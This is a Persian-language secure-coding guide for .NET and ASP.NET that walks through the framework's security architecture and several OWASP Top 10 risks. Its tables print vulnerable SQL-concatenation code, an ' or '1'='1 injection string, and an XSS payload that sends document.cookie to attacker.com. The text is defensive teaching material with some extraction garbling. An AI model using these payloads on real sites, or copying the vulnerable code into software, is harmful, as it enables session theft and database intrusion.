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 مقدمه 1

هایی که افزار هستند. تحلیلپذیری نرماصلی آسیب دلایل  ،برنامهها در منطق شکاف و مشکلات، خطاها

ها به دلیل خطاها در پذیریگرفته اثبات کرده است که بیشتر آسیبصورتافزار امنیت نرمن یمتخصصتوسط 

کدنویسی امن به یک الزام برای  یافزار در زمینهدهندگان نرمبنابراین آموزش توسعه. هستندنویسی برنامه

 ها تبدیل شده است.سازمان

ها پیدا کنند و سپس از این 1ها یا کارگزارهای امنیتی را در برنامهپذیریکنند تا آسیبمهاجمان سعی می

ها و به دست گرفتن کنترل شبکه و هاها و دادهها برای سرقت اطلاعات محرمانه، تخریب برنامهپذیریآسیب

برای تولید توان ها را مینویسی و بهترین روشهای صحیح برنامههای کامپیوتری استفاده کنند. تکنیکسیستم

نویسی امن یک وب جلوگیری کرد. برنامهتحتهای کیفیت به کارگرفت تا از حملات به برنامه کدهای با

 اند.های کاربردی را هدف گرفتههایی است که سیستممقابل حملهراهکار دفاعی در 

افزار خواهد بود که علاقه دارند نویسان نرمدهندگان و برنامهاین مستند یک منبع با ارزش برای توسعه

و  سازیافزار که شامل طراحی، پیادهتولید نرم یاز طریق چرخه کار های با امنیت بالا تولید کنند. اینبرنامه

 پذیر خواهد بود.شود، امکانها میاستقرار برنامه

های ها به عنوان چارچوب اصلی برای تولید برنامهنت به صورت گسترده توسط بسیاری از سازماندات

افزار آموزش داده خواهد شد دهندگان نرمشود. در این مستند به توسعهبه کار گرفته می وبتحتکاربردی 

افزار برای بهبود کلی نرم یمنیتی را شناسایی و اقدام متقابل امنیتی را در طول چرخههای اکه چگونه حفره

 سازی کنند. کیفیت محصول پیاده

 مستند اهداف 1-1

 کند:این مستند اهداف زیر را دنبال می

 نت، معماری امنیتی های داتنویسان با امنیت برنامهآشناسازی برنامهASP.Net  در  هاآنو کمک به

 .نتچارچوب داتنیازهای امنیتی برنامه و تهدیدهای رایج  شناخت

                                                   

 

 

1 Server 



  نتنویسي امن در داتبرنامه 

2 

 

 
 

 افزار امنتولید نرم ینت و شرح چرخهبحث در مورد حملات امنیتی روی چارچوب دات. 

 نت و معرفی فرایند حرکت در پشته.های داتکمک به شناسایی تهدیدهای رایج در اسمبلی 

 های رایج مختلف اعتبارسنجی ورودی، حملههای بحث در مورد نیاز به اعتبارسنجی ورودی، روش

ها برای اعتبارسنجی بهترین روش و ارسنجیتبهای کنترل اعیریذپارسنجی ورودی، آسیبتببه اع

 .ورودی

 و تهدیدهای رایج در این دو زمینه. 2و احراز هویت 1مجازشماری فرایند معرفی 

 تهدیدهای رایج در مدیریت نشست، ، 3های مدیریت نشستبحث در مورد قواعد امنیتی برای توکن

 های مختلف به نشست.و حمله ASP.Netهای مدیریت نشست در تکنیک

 4فضاهای نام و نتهای رمزنگاری در داتحمله نت، انواعمعرفی اهمیت رمزنگاری در دات 

 نت.رمزنگاری در دات

 امضاهای  و دیجیتالهای نامهگواهیسازی، تشریح رمزگذاری متقارن و نامتقارن، مفاهیم درهم

 XMLدیجیتال و 

 ابزارهای مختلف ثبت در  و تشریح قواعد مدیریت خطای امن، سطوح مختلف مدیریت استثنا

 نت.دات

 روی  5های حرکت در مسیرهای امنیتی در مدیریت فایل، حملهبررسی مفاهیم مدیریت فایل، نگرانی

 های دفاعی در مقابله با آن.و تکنیک مدیریت فایل

 یزی آموزش داده خواهد شد؟چه چ ۲-1

 های زیر دانش به دست خواهند آورد:افرادی که این مستند را مطالعه کنند در زمینه

 نویسی امننت و قواعد مختلف برنامهامکانات امنیتی چارچوب دات 
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 نت، امنیت مبتنی بر نقش، امنیت دسترسی به کد و امنیت مدل امنیتی زمان اجرای چارچوب دات

 های کلاس.کتابخانه

 های کنترل اعتبارسنجی، پذیریهای کاهش آسیبهای مختلف اعتبارسنجی، تکنیککنترل

کدگذاری خروجی به منظور جلوگیری از  و SQLهای دفاعی در مقابل حملات تزریق تکنیک

 حملات اعتبارسنجی ورودی

 های دفاعی در مقابل حملات به نشست، امنیت کوکی و امنیت تکنیکViewState 

 و پذیری در مدیریت خطا در سطح کلاس، مدیریت خطاهای مدیریت نشدهاهش آسیبک 

 سازی امنیت لاگ ویندوز در مقابل حملات مختلفپیاده

 های دفاعی در مقابل حملات های دفاعی در مقابل حملات حرکت در مسیر و تکنیکتکنیک

  1سازیکانونی

 های مرور های پیکربندی برنامه و روشفایل های پیکربندی ماشین،ها در فایلپذیریکاهش آسیب

 امنیتی کد.

 نیازهاپیش 3-1

  نت مسلط باشد.نویسی داتبرنامهمخاطب باید به زبان 
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 نتهای داتمعرفي امنیت برنامه ۲

 دهد تا کنترل امنی بردهندگان و مدیران این امکان را میبه توسعه ،1نتدات چارچوباستفاده درست از 

ها بسیار ساده است، چنین با مجموعه ابزارهایی که کار با آنو هم منابعشان داشته باشند ها ووی برنامهر

سازی کنند. حذف و رمزنگاری را با قدرت بالا پیادهاعطای مجوز  ،کارهایی از قبیل احراز هویت توانندمی

سرریزهای بافر( و تغییر  های امروزی با کد ناقص )مانندشدن برنامهمواجه ،بسیاری از خطرات امنیتی بزرگ

)از قبیل  گیری بحرانی امنیتیباعث ایجاد تصمیم ،دهندگان و مدیرانمسئولیت از کاربران نهایی به توسعه

 شود.خاص و یا منابعی که برنامه باید قادر به دسترسی باشد( می یاجرای یک برنامه

فرآیند  ،امنیت دسترسی به کد، مبتنی بر نقشامنیتی  امکانات هچگونمستند ما توضیح خواهیم داد که  در این

های کاربردی که برای رسیدن به این نتایج با سازی مجرد و حوزهراستی آزمایی، پشتیبانی رمزنگاری، ذخیره

در هر دو سمت  ،های کاربردیافزارنرماجرای انواع  قوی برای توسعه و بستر یهیارا ،کنندمیهم کار 

 پردازیم.می کارگزارو  2کارخواه

تواند تشکیلاتی با اطمینان بیشتر فراهم کند که خود برنامه بتواند در برابر حملات نت میدات چارچوب

 شده امروز و آینده مقاوم باشد.امنیتی شناخته

های ن سیستم شامل ویژگی. ایاست CLRهای زمان اجرا یا زبان نت بخشی ازدات چارچوبسیستم امنیتی 

  .باشدکنترل امنیتی کد دسترسی می و مدیریت استثنا امن ،تبدیل نوع امنبسیاری از قبیل 

های امنیتی موجود در ویندوز مکمل ویژگیبه عنوان یک ها نت در این قبیل روشدات چارچوبامنیت 

 های امنیتی مبتنی بر ویندوز نادیده گرفته نشدهمایکروسافت طراحی شده است. هر چند هیچ یک از مکانیزم

 .است
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 نتمعماری امنیتي چارچوب دات 1-۲

سازی طراحی اعمال شده دو تغییر عمده به منظور افزایش امنیت و ساده ،4.0نت نسخه چارچوب داتدر 

در سیاست امنیتی  4.0نت چارچوب دات ،ها هنوز در جای خود قرار داردنامهاست. هر چند سیستم اجازه

 .فرض را شفافیت امنیتی قرار داده استیشخود را حذف کرده است و مکانیزم پ 1سطح ماشین

از در سطح ماشین  بوجود آمده، سیاست امنیتی 4.0نت چارچوب داتدو تغییر بزرگ در زیر سیستم امنیتی 

شفافیت امنیتی گسترش یافته و  و ها هنوز در جای خود قرار داردنامهبین رفته است، هر چند سیستم اجازه

به این امنیتی در سطح ماشین  گیرد. از بین رفتن سیاستمورد استفاده قرار میفرض به عنوان مکانیزم پیش

نت مسئولیت تامین امنیت یک کامپیوتر را بر عهده ندارد و فقط از کدهای امن داتچارچوب معنی است که 

نیزمی معرفی شد، مکا 2.0نت داتچارچوب کند. شفافیت امنیتی که برای اولین بار در شده حفاظت مینوشته

نت را از کدهای زیربنایی آن داتچارچوب تحت  کاربردی یبرنامهشده برای یک است که کدهای نوشته

 .کندتفکیک می

یک مدل  4.5نت گذاری قوی است. چارچوب داتنام 4.5نت ترین تغییر در امنیت در چارچوب داتمهم

در  x.8فروشگاه ویندوز های کند. برنامهمی شده فراهمهای کاربردی مدیریتامنیتی برای برنامه یلایه دو

های کند. در این ظرف، برنامهشوند که دسترسی به منابع را محدود مییک ظرف امنیتی ویندوز اجرا می

نویس هیچ کاری برای (، برنامهCASشده کاملاً مورد اعتماد هستند. از دیدگاه امنیت دسترسی به کد )مدیریت

 اند انجام دهدتوافزایش امتیازات نمی

 کدنویسي امن چیست؟ 1-1-۲

تحقیقات ثابت  ای روی آن کد نتواند صورت گیرد.گونه حملهنویسی امن نوشتن کدی است که هیچبرنامه

تجزیه و  .باشندها میپذیری در سیستمعمومی آسیب دلایلها، اشکالات و معایب منطقی کرده است که نقص

. با نویسی ناامن استهای برنامهنویسی و شیوهاشتباهات رایج برنامه ها نشان داده است که دلایل آن،تحلیل

نویسان در مورد شود و آموزش برنامهگونه خطاها میهای ناامن کدنویسی که منجر به اینشناسایی این روش
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ها در پذیریکاهش یا حذف آسیبدر ای های پیشگیرانهتوانند گامها میهای امن جایگزین، سازمانروش

 افزار قبل از استقرار بردارند.نرم

 نتفضاهای نام امنیتي چارچوب دات ۲-1-۲

 :نت شامل موارد زیر استداتچارچوب فضاهای نام امنیتی در

 System.Security : زیرساخت سیستم امنیتیCLR های پایه برای کند که شامل کلاسرا فراهم می

 .مجوزهاست

 System.Net.Security :کند.فراهم میرا ها ای ارتباطات امن بین میزبانای برهای شبکهجریان 

 System.Web.Security :سازی امنیت هایی است که برای پیادهشامل کلاسASP.NET  در

 .شودمیاستفاده  وبتحتهای برنامه

 ASP.NETمعماری امنیتي  3-1-۲

روابط بین تصویر زیر . کندفراهم می  ASP.NET های امنیتیاین قسمت یک مرور کلی از زیرساخت

 .دهدرا نشان می ASP.NETهای امنیتی درسیستم

 

 ASP.NET: معماری 1-۲شکل 
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از طریق   ASP.NET ی کاربردیهابرنامهوب با  هایکارخواهدهد، تمام طور که تصویر نشان میهمان

لزوم درخواست را در صورت   . IISکنندمی رتباط برقرارامایکروسافت  1اینترنت های اطلاعاتسرویس

 کارخواهاگر  کند....( را مشخص می ASP.NETشده )مانند برنامه و منابع درخواست کنداحراز هویت می

 .گیردمجاز است، منبع در دسترس قرار می

شده تعبیه امنیتیهای از ویژگی دتواندر حال اجرا است، می  ASP.NETیهنگامی که یک برنامه

 چارچوبهای امنیتی تواند از ویژگیمی  ASP.NET علاوه بر این، یک برنامه کند.استفاده   ASP.NETدر

 .نت استفاده کنددات

انجام دهید.  ASP.NETتوانید احراز هویت را در ، شما میIISهای احراز هویت علاوه بر اتکا به توانایی

را درک  IISگیرید، شما باید تعامل خدمات احراز هویت را در نظر می ASP.NETهنگامی که احراز هویت 

مایکروسافت نگاشت  NTها به حساب کاربری ویندوز کند که یک مجموعه از اعتبارنامهفرض می IIS کنید.

 IISهای احراز هویت در ها برای احراز هویت یک کاربر استفاده کند. روششود و باید از این اعتبارنامهمی

ها و امنیت ، فرمdigest، کارخواه ی، نگاشت اجازه نامهASP.NETنام، جعل هویت عبارتند از: بی 7 ینسخه

 انتخاب کنید. IISتوانید نوع احراز هویت را با استفاده از خدمات مدیریتی ویندوز. شما می ییکپارچه

شود درخواست بدهند، نگاشت می ASP.NETکاربردی  یکه به یک برنامه URLیک به اگر کاربران 

احراز هویت مبتنی بر فرم  ASP.NETشود. درخواست و اطلاعات احراز هویت به برنامه کاربردی داده می

های احراز هویت شده به یک سیستم است که با آن درخواست ،کند. احراز هویت مبتنی بر فرمرا فراهم می

کند و صفحه را ها را فراهم میشوند. کاربر اعتبارنامهمیکنید ارسال وب که شما ایجاد می ییک صفحه

شما درخواست را احراز هویت کند، سیستم یک بلیط احراز هویت در یک کوکی  یکند. اگر برنامهارسال می

های بعدی شناسه را در خود دارد. درخواست دوبارهها یا یک کلید برای دریافت کند که اعتبارنامهصادر می

 احراز هویت را همراه درخواست خواهند داشت.این بلیط 

مشابه سایر شود. پیکربندی می Web.configو  Machine.configدر دو فایل  ASP.NETتنظیمات امنیتی 

از نصب  Config یدر زیرپوشه Machine.configدر فایل  فرضپیشای و اطلاعات پیکربندی تنظیمات پایه
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کاربردی  یتوانید تنظیمات خاص سایت یا خاص برنامهد. شما میشوننت ذخیره میجاری چارچوب دات

شوند، کاربردی ذخیره می یبرنامه یهای ریشهسایت یا پوشه یکه در ریشه Web.configهای را در فایل

در پوشه  Web.configتوسط یک فایل  کهاینبرند مگر ها تنظیمات یک پوشه را به ارث میبسازید. زیرپوشه

 یمات بازنویسی شده باشند.این تنظ

 

 تهدیدهای امنیتي رایج ۲-۲

 OWASPنت بر اساس برتر روی دات یده حمله 1-۲-۲

است و یک  Open Web Application Security Protocol Project یشدهمخفف OWASP یکلمه

نویس شما به عنوان یک کارشناس برنامه رایولوژی یا بهتر بگوییم یک پروژه غیردولتی است که در آن بتابع

یک    OWASPت.افزار خود بکار ببرید تشریح شده استر شدن نرم، معیارهایی که بایستی برای امنوبتحت

این متدولوژی منحصر به شرکت یا فرد یا سازمان  ،دهد، یعنی راهکار را به ما نشان میولوژی استتابع

تواند به آن بپیوندد ست که هر کسی در هر جای دنیا میا 1بازمتناملا ک یخاصی نبوده و نیست و یک پروژه

 .و در آن شرکت کند

 ۲تزریق 

نامطمئن به یک  یافتد که دادهزمانی اتفاق می LDAPعامل و سیستم، SQLهای تزریق نظیر تزریق رخنه

تواند مفسر را فریب دهد تا های مهاجم میشود. دادهمفسر به عنوان بخشی از دستور یا پرسش فرستاده می

 ای بدون مجوز دسترسی پیدا کند.ای را اجرا کند یا به دادهدستورات ناخواسته
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2 Injection 
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 : حملات تزریق1-۲جدول 

 حمله مثال سناریوهای

 :پذیر زیر استفاده کردهآسیب SQLساخت دستور  داده نامطمئن در برنامه از: 1 سناریوی

String query = "SELECT * FROM accounts WHERE custID='" + 

request.getParameter("id") + "'";  

هایی شود منجر به پرسشممکن است  چارچوببه  یک برنامه اعتماد کورکورانه به طور مشابه، :2 سناریوی

 ( :Hibernate Query Language (HQL)، )به عنوان مثال پذیر استکه هنوز آسیب

Query HQLQuery = session.createQuery(“FROM accounts WHERE custID='“ + 

request.getParameter("id") + "'");  

 :برای مثال دهد.تغییر می or '1'='1 'با ارسال  خود در مرورگررا   "id" مقدار پارامتر، مهاجم در هر دو مورد

http://example.com/app/accountView?id=' or '1'='1  

 وکارکسباثرات  اثرات فنی ضعف امنیتی حمله هایحامل عوامل تهدید

 به برنامهوابسته 
 برداریبهره

 آسان

 رواج

 رایج

 کشف 

 متوسط

 تاثیر

 شدید

وابسته به 

 وکارکسب/افزارنرم

های تواند دادههر کسی که می

نااامطمئن بااه سیسااتم ارسااال 

کناااد، از جملاااه کااااربران 

 و خااارجی، کاااربران داخلاای

 .مدیران را در نظر بگیرید

 حلمااات ساااده مهاااجم

فرستد می رامبتنی بر متن 

 کشاف نحو مفسار راکه 

 .کندمی

حتای هر منبع داده  تقریبا

تواند یک میمنابع داخلی 

 .تزریق باشد حامل

 یااک برنامااه کااه تزریااق زمااانی معایااب

 یااک متاارجم بااه هااای نااامطمئنداده

باه تزریاق  معایب. دهدفرستد رخ میمی

شاایع  بسایار ویژه در کادهای ماوروثی

، SQL ،LDAPاغلاب در هااآن .هستند

Xpathهای ، پرسااااااااااشNoSQL ،

 یکنناادهتجزیه عامل،سیسااتمدسااتورات 

XML، عناااوینSMTP، هااای آرگومان

کشااف  شااوند.پیاادا می غیااره برنامااه و

بررسی کد آسان  هنگام تزریق هایرخنه

سااختی از طریااق ، امااا اغلااب بااه اساات

ها اسااکنر .دنشااومیکشااف  آزمااون

های رخنااهپیاادا کااردن  تواننااد باارایمی

 .کمک کنند مهاجمانتزریق به 

از  تواناد باعاثمی تزریق

، داده خرابی یا رفتندست 

 و یاااگویی عاادم پاساا 

محرومیااات از دسترسااای 

گاهی اوقاات  تزریقشود. 

تصاااحب منجاار  تواناادمی

کامااال میزباااان توساااط 

 .کننده شودحمله

 

 هااایتجاااری دادهارزش 

ر و بساتر اجارای یتاثتحت

 .در نظار بگیریاد را مفسر

باه  توانندها میداده یهمه

، یاا کنند تغییر رفته،سرقت

آیا این روی  شوند. حذف

اعتبااااار شااااما تاااااثیر 

 گذارد؟نمی
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حملات  بیشتر .گرداندمیتمام سطرهای جدول حساب را برتغییر به این معنی است که هر دو پرسش این 

 .شده را فراخوانی کندذخیره یرویه را تغییر یا حتی توانند دادهمی خطرناک

 مدیریت نادرست احراز هویت و نشست 

. این به اندشدهسازی ناحراز هویت و مدیریت نشست اغلب به درستی پیاده یرنامه در زمینهعملکردهای ب

های نشست را به خطر بیاندازند یا از مشکلات دهد که رمزهای عبور، کلیدها یا توکنمهاجمان امکان می

 برداری کنند.کاربران دیگر بهره یبرای گرفتن شناسهسازی دیگر پیاده
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 : مدیریت نادرست احراز هویت و نشست۲-۲جدول 

 حمله سناریوهایمثال 

آدرس  در شناسه جلسهبا قرار دادن  ،شدهبازنویسی  URLاز رزرو خطوط هوایی یبرنامه: 1ی سناریو

 :کندپشتیبانی می

http://example.com/sale/saleitems?sessionid=268544541&dest=Hawaii  

دارد  کهایناز  بدون اطلاع او .کند مطلع فروش خود را در مورد تا دوستان خواهدمی سایت معتبر یک کاربر

هنگامی که دوستانش کند. کند، لینک فوق را با استفاده از ایمیل ارسال مینشست خود را فاش می یشناسه

 .استفاده خواهند کرد و کارت اعتباری او نشستاز  ،کننداستفاده می از لینک

برای دسترسی به  یک کامپیوتر عمومی ر ازکارب. اندتنظیم نشده برنامه به درستیهای timeout : ۲سناریوی 

مهاجم بعد  .رفته استو را بسته  مرورگر به سادگی «خروج» . کاربر به جای انتخاباست استفاده کرده سایت

 .کندشده است استفاده می احراز هویت که هنوز هم، همان مرورگر از یک ساعت از

عبور  یکلمه اگرآورد. میسیستم را بدست  دادهپایگاهعبور ی کلمهکه  مهاجم خارجی خودی یا :3 سناریوی

 .برای مهاجم افشا خواهد شد کاربران یهمه ی عبورکلمه، نشده باشد سازیدرهم به درستی کاربر

 وکارکسباثرات  اثرات فنی ضعف امنیتی حمله هایحامل عوامل تهدید

 وابسته به برنامه
 برداریبهره

 متوسط

 رواج

 گسترده

 کشف 

 متوسط

 تاثیر

 شدید

وابسته به 

 وکارکسب/افزارنرم

 خاارجی ناشناس مهاجمان

 کاااربران بااا چنااینهم و

هایی کااه ممکاان حساااب

 اقاادام بااه ساارقت اساات

 از دیگران کنناد و حساب
 پنهاان مایال باهت چنینهم

در  اقدامات خاود راکردن 

 .نظر بگیرید

 نشات مهاجم با استفاده از

احراز  عملکرد یا نقص در

های جلساااههویااات یاااا 

به عناوان مثاال، ) مدیریت

، های کاااااربریحساااااب

 هایشناساهعبور،  هایرمز

( خاود فاش شده یجلسه

جای کااربران دیگار ه را ب

 .زندمیجا 

 و احااراز هویاات اغلااب دهندگانتوسااعه

 سفارشاای جلسااه ماادیریت هااایطرح

سااخت  آن ساازند، امااا ایجااد صااحیحمی

 اغلاب سفارشی این طرح در نتیجه،. است

 خاروج از سیساتم، هایی از قبیالزمینه در

، هاااtimeout، عبااوری کلمااهماادیریت 

، سااوال امنیتاای، ی عبااورکلمااهآوری یاااد

نقص دارد که  و غیره حسابرسانی روزبه

 گااهی اوقاات هایینقص پیدا کردن چنین

چاارا کااه هاار ، توانااد مشااکل باشاادمی

 فرد است.ه سازی منحصر بپیاده

ممکاان هااایی نقص چنااین

تماام  است برخی یا حتای

ماورد حملاه  ها راحساب

یاک باا  مهاجم .دهد قرار

هار تواناد می، بار موفقیت

 توانادمی قربانی چیزی که

 اغلب .انجام دهد را م دهد

 ممتاااز مااورد هایحساااب

 .گیرندهدف قرار می

 هااا یاااداده تجاااریارزش 

 برناماه یدیدهآسیب توابع

 .در نظر بگیریدرا 

تجاااری تاااثیر  چنااینهم

 عمااااااومی افشااااااای

در نظاار  ی راپذیرآساایب

 .بگیرند
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 1سایتياسکریپت بین 

را برای یک مرورگر وب  گیرد و آنهای نامطمئن را میافتد که یک برنامه دادهزمانی اتفاق می XSSنفوذ 

هایی را روی مرورگر دهد که اسکریپتبه مهاجمان این امکان را می XSSفرستد. بدون اعتبارسنجی کافی می

های ناجور را سایت یا انتقال کاربر به سایت یقربانی اجرا کنند که امکان سرقت نشست کاربر، تغییر چهره

 دهد.می

 سایتي: اسکریپت بین3-۲جدول 

 حمله سناریوهایمثال 

 :است استفاده کرده بدون اعتبارسنجی زیر HTML قطعه ساخت در های غیر قابل اطمیناندادهبرنامه از 

                                                   

 

 

1 site Scripting (XSS)-Cross 

 وکارکسباثرات  اثرات فنی ضعف امنیتی حمله هایحامل عوامل تهدید

 وابسته به برنامه
 برداریبهره

 متوسط

 رواج

 بسیار گسترده

 کشف 

 آسان

 تاثیر

 متوسط

وابسته به 

 وکارکسب/افزارنرم

 تواناادمی هاار کساای کااه

باااه  هاااای ناااامطمئنداده

، از ارسااال کنااد سیسااتم

 کاااربران خااارجی،جملااه 

را  مدیران و کاربران داخلی

 .در نظر بگیرید

 یحملاه پتیاسکر،مهاجم

متارجم از بر متن که  یمبتن

 را کنادیم استفادهمرورگر 

هار منباع  بایفرستد. تقریم

 حاماال کیااتوانااد یمداده 

، از جمله منابع باشد حمله

 یهاااداده ماننااد یداخلاا

 .دادهگاهیپا

XSS هایبرناماه یتاینقص امن نیترعیشا 

کاه  یزماان XSSوب اسات. نقاص تحت

کاربر را بادون  یهاداده یکاربرد یبرنامه

صافحه باه  کیادرسات در  سانجیاعتبار

دهااد. دو نااوع یفرسااتد رخ میمرورگار م

شده  رهیذخ-1مختلف از نقص وجود دارد 

دو  نیاااز ا کیااهاار و ،ماانعکس شااده -2

 یبر رو ایو  کارگزار کی یرو رتواند بیم

 رخ دهد. کارخواه

از کارگزار  XSSهای اکثر نقص صیتشخ

کاد نسابتا آساان  لیتحل ایو  آزمون قیطر

 کااارخواهساامت  XSS ییشناسااا اساات.

 دشوار است. اریبس

 توانناااادمیمهاجمااااان 

در مرورگااار  یپتیاساااکر

ربودن جلساه  یبرا یقربان

 یتغییااار چهااارهکااااربر، 

ها، قاارار دادن سااایتوب

 انتقااالمطالااب خصاامانه، 

ربودن مرورگر با  کاربران،

 یافزارهااانرماسااتفاده از 

اجارا  رهیغ و مخرب کاربر

 کنند.

ها از داده وکارکسبارزش 

 یدیدهآساایب توابااع یااا

 .در نظر بگیریدرا  برنامه

تجاااری تاااثیر  چنااینهم

 عمااااااومی افشااااااای

در نظاار  ی راپذیرآساایب

 .بگیرند
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(String) page += "<input name='creditcard' type='TEXT' value='" +  
request.getParameter("CC") + "'>";  

 :داده بهخود را تغییر  در مرورگر  'CC' پارامتر مهاجم

'><script> document.location= 'http://www.attacker.com/cgi-
bin/cookie.cgi ?foo='+document.cookie</script>'.  

دهد اجازه می مهاجمو به  مهاجم فرستاده شود سایتوببه  قربانینشست  یشناسه شود کهباعث می این

 کاربر را برباید. فعلی نشست

 به صورت ناامن اشیاارجاع مستقیم به  

سازی پیاده شینویس یک ارجاع به یک افتد که یک برنامهزمانی اتفاق می شییک دسترسی مستقیم به یک 

دهد. بدون کنترل دسترسی یا را در دسترس قرار می دادهپایگاهدرونی نظیر یک فایل، پوشه یا کلید 

 های غیرمجاز استفاده کنند.دسترسی به داده توانند از این ارجاعات برایمهاجمان می ،های دیگرحفاظت

 به صورت ناامن اشیا: ارجاع مستقیم به 4-۲جدول 

 وکارکسباثرات  اثرات فنی ضعف امنیتی حمله هایحامل عوامل تهدید

 وابسته به برنامه
 برداریبهره

 ساده

 رواج

 رایج

 کشف 

 آسان

 تاثیر

 متوسط

وابسته به 

 وکارکسب/افزارنرم

خود  ستمیانواع کاربران س

 ایاا. آدیااریرا در نظاار بگ

کاااربرانی فقااط دسترساای 

جزیی به اناواع خاصای از 

 داده سیستم دارند؟

کااربر مجااز  کیمهاجم، 

کااه بااه  اساات، سااتمیس

که  یمقدار پارامتر یسادگ

 یش کیبه  میبه طور مستق

اشاااره دارد را بااه  سااتمیس

کاه مجااز  گارید شی کی

 ایادهاد. آیم رییتغ ستین

 ؟شوددسترسی داده می

 دیااغلاب هنگاام تول یکاربرد یهابرنامه

 یشا دیاکل ایو  یوب از نام واقعصفحات

 یکاااربرد یهاکننااد. برنامااهیاسااتفاده م

هادف را  یمجاز بودن کاربر به ش شهیهم

به یاک رخناه  منجر نیکنند. اینم یبررس

. شااودمی شاایدسترساای مسااتقیم بااه 

 ریتوانااد مقااادیم یبااه راحتاا هاااگرآزمون

 نیچنااا ییشناساااا یرا بااارا هااااترپارام

و  هیااکنااد. تجز کاریدساات ییهااانقص

 ایادهد که آیمکد به سرعت نشان  لیتحل

به درستی بررسای شاده اسات یاا مجوز 

 ؟خیر

تواناد یم ییهانقص نیچن

توساط  کاه ییهاتمام داده

پااااارامتر ارجاااااع داده 

باااه خطااار شاااوند را یم

 ی. مگار در ماواردندازدیب

قابال ریغ یکه مراجاع شا

 یباارا ،باشااد یناایب شیپاا

باه تماام  یمهاجم دسترس

اطلاعااات موجااود از آن 

 نوع آسان است.

از داده وکارکساابارزش 

 یدیادهآسایب توابع ها یا

 .نظر بگیرید در را برنامه

تجاااری تاااثیر  چنااینهم

 عمااااااومی افشااااااای

در نظاار  ی راپذیرآساایب

 .بگیرند
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 حمله مثال سناریوهای

 :کندحساب دارد استفاده می دسترسی به اطلاعات که SQLفراخوانی  در یک های تایید نشدهبرنامه از داده

String query = "SELECT * FROM accts WHERE account = ?";  

PreparedStatement pstmt = connection.prepareStatement(query , … );  

pstmt.setString( 1, request.getParameter("acct"));  

ResultSet results = pstmt.executeQuery( );  

 دهد.می خواهد تغییرکه می شماره حسابی هر خود را با ارسال در مرورگر ACCT به سادگی پارامتر مهاجم

 ،موردنظر کارخواهبه جای حساب دیگری  تواند به هر حساب کاربریمی، مهاجم وارسی انجام نشود اگر

 .دسترسی داشته باشد

http://example.com/app/accountInfo?acct=notmyacct  

 1پیکربندی نامناسب امنیتي 

ها، کارگزار برنامه، امنیت خوب نیازمند این است که یک پیکربندی امن برای برنامه کاربردی، چارچوب

سازی و و بستر تعریف و مستقر شده باشد. تنظیمات امن باید تعریف، پیاده دادهپایگاهکارگزار وب، کارگزار 

 روز نگه داشته شود.افزار باید بهها معمولا ناامن هستند. به علاوه نرمفرضپیششوند چرا که  دارینگه

  

                                                   

 

 

1 Security Misconfiguration 
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 : پیکربندی امنیتي نامناسب5-۲جدول 

 سناریوهای حملهیي از هامثال

های حساب حذف نشده است. شده ونصببه صورت اتوماتیک  برنامه کارگزارمدیریت  : کنسول1سناریوی 

 عبور یکلمه با و یابدرا می کارگزاراستاندارد روی  صفحات مدیریت . مهاجماندنکردهتغییر  فرضپیش

 .گیردشود و کنترل را در دست میوارد می فرضپیش

برای  را هاپوشه به سادگی لیست تواندمی مهاجم. غیرفعال نیست کارگزارروی  هاپوشه لیست: ۲سناریوی 

شده را کامپایلهای کلاس تمام کندوپیدا میمربوطه را ی پوشهپوشه مهاجماستفاده کند. فایل  پیدا کردن هر

کنترل  نقص یک . سپسکندمی معکوس و مهندسی کدهایتان، دیکامپایل برای دریافت تمام، او کنددانلود می

 .یابدتان میبرنامهدر جدی دسترسی 

به طور  بازگشت داده شود، به کاربران اطلاعات خطا دهد تااجازه می برنامه : پیکربندی کارگزار3سناریوی 

 .هستند های خطاپیام اطلاعات اضافی درعاشق  مهاجمان .کندهای زیرین برنامه را افشا میبالقوه نقص

 وکارکسباثرات  اثرات فنی ضعف امنیتی حمله هایحامل تهدیدعوامل 

 وابسته به برنامه
 برداریبهره

 ساده

 رواج

 رایج

 کشف 

 آسان

 تاثیر

 متوسط

وابسته به 

 وکارکسب/افزارنرم

مهاجماااان ناشاااناس 

کااربران  زیو ن یخارج

را که  شانیهابا حساب

ممکاان اساات قصااد 

داشته  را ستمیس افشای

باشااااند را در نظاااار 

 لیتما چنینهم. دیریبگ

ها به پنهان کردن یخود

اقداماتشااان را در نظاار 

 .دیریبگ

مهاجم  فرضپیش یدسترس

باااه حسااااب، صااافحات 

استفاده نشده، نقص اصلاح 

 یهاپوشاهها و لینشده، فا

 یبرا رهیمحافظت نشده و غ

 یبه دسات آوردن دسترسا

داناااش از  ایااامجااااز ریغ

 .ستمیس

توانااد در هاار یم یتاایاشااتباه امن یکربناادیپ

کاارگزار ، بساترسطح از برناماه، از جملاه 

 ، چاارچوبدادهپایگاه، کارگزار برنامه، وب

دهندگان افتد. توسعهبیاتفاق  یو کد سفارش

بااا  یبااه همکااار ازیاان سااتمیس رانیو مااد

 کاهایناز  ناانیحصاول اطم یبارا گریکدی

 ساتشاده ا یکربندیپ یتمام پشته به درست

 صیتشاخ یخودکار بارا یهادارند. اسکنر

 ،نامناساب یکربندی، پنشدههای نصبوصله

، فاااارضپیش هایاسااااتفاده از حساااااب

 دیامف رهیاغ و یضارور ریاغ یهاسیسرو

 هستند.

آنکااه شااما باادون  سااتمیس

به طور  بفهمید ممکن است

. تماام فتادیکامل به خطر ب

 ممکن اسات باهاطلاعات 

در  یبه آرام ایسرقت رفته 

. ابناادی رییااطااول زمااان تغ

ممکان  یابیاباز یهانهیهز

 باشد. متیگران ق است

ها از داده وکارکسبارزش 

 یدیاادهآساایب توابااع یااا

 .در نظر بگیرید را برنامه

تجااااری تااااثیر  چناااینهم

 عماااااااومی افشاااااااای

در نظااار  ی راپذیرآسااایب

 .بگیرند
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 .ماندباقی میاند تولید حذف نشده کارگزارهای که از نمونه یبرنامه یک سریبرنامه  : در کارگزار4 سناریوی

به خطر توانند برای می مهاجمانای دارند که امنیتی شناخته شده هایصنق ،نمونههای کاربردی برنامه

 استفاده کنند. هاآنکارگزار از  انداختن

 افشای اطلاعات حساس 

مالیاتی و  یکارت اعتباری، شناسه یحساس نظیر شمارههای وب دادهتحتهای کاربردی بسیاری از برنامه

های کنند. مهاجمان ممکن است این دادههای احراز هویت را به درستی محافظت نمینامهگواهی

ها وارسی نشوند، مهاجمان ممکن روی کارگزار سرقت کنند یا تغییر دهند. اگر درخواست ینشدهمحافظت

 ها را به منظور دسترسی غیر مجاز به یک عملکرد جعل کنند.است درخواست

 

 وکارکسباثرات  اثرات فنی ضعف امنیتی حمله هایحامل عوامل تهدید

